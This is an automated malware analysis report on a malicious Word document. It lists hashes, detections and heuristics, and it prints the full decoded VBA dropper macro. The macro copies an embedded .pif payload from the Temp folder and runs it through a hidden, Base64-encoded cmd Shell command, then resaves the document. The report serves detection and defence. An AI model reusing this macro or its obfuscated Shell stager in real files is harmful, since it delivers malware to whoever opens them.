Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 687582d32b7c7603…

MALICIOUS

Office (OLE)

177.5 KB Created: 2018-03-21 11:47:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: acf194700b09ded32c6a84880b19445a SHA-1: 98f9855ed999c4e1f2c45ee86ab2002f654920ce SHA-256: 687582d32b7c7603a334f5e30d5f5a335624a1a19200980ec2951a205a88acb2
558 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Microsoft Word document that exploits CVE-2007-3899, a memory corruption vulnerability. It contains a VBA macro that uses a Base64-decoded command to execute a ping command and then attempts to copy and execute a PIF file from the temporary directory. The macro also calls Shell() and uses VirtualAlloc/VirtualProtect APIs, indicating it's designed to download and execute a second-stage payload.

Heuristics 15

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Dropper.Agent-6605305-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6605305-0
  • XOR-encoded strings (key 0x03) critical SC_XOR_ENCODED
    Found 3 Windows library/API name(s) XOR-encoded with single-byte key 0x03: 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
    Disassembly hidden — these bytes score as data, not coherent x86 code (3/10 branch targets land on an instruction boundary (30% coherence)).
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIHN0YXJ0IA=="), vbUnicode) & Environ("Temp") & "\6C.pif", vbHide
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIHN0YXJ0IA=="), vbUnicode) & Environ("Temp") & "\6C.pif", vbHide
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    FileCopy Environ("Temp") & "\5C.pif", Environ("Temp") & "\6C.pif"
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1837 bytes
SHA-256: ec2593ffd7b421c7295b0ab7c379c8c19bf9688f0382f047641c24799c78f9dd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = False
Dim Str As String

    Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveRight Unit:=wdCharacter, Count:=13
    Selection.TypeBackspace
    Selection.Copy
    

FileCopy Environ("Temp") & "\5C.pif", Environ("Temp") & "\6C.pif"

Selection.TypeBackspace
 Set d = New DataObject
    d.SetText " "
    d.PutInClipboard
    Selection.MoveUp Unit:=wdScreen, Count:=7
   Selection.MoveUp Unit:=wdScreen, Count:=7
    Selection.MoveLeft Unit:=wdCharacter, Count:=13
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 3, t)


Call Module1.killo


End Sub
Private Sub Document_Close()

Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIHN0YXJ0IA=="), vbUnicode) & Environ("Temp") & "\6C.pif", vbHide
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function






Attribute VB_Name = "Module1"
Sub killo()
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatXMLDocument
Application.Quit
End Sub
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1592655146/Ole10Native 56596 bytes
SHA-256: f186e752fbd8f11c7206cb51632345ebbb54e893bad86cd16a5759ecab75f7b4
ole10native_00_5C.pif ole-package-payload OLE Ole10Native payload: ObjectPool/_1592655146/Ole10Native; display_name=5C.pif; full_path=C:\Users\win7home\AppData\Local\Temp\5C.pif; temp_path=; def_file= 56320 bytes
SHA-256: 4ba21629c84a89c6d2d5c52abcd110c551a5f9fe9008c7f0e6b43ecde0cca1f0

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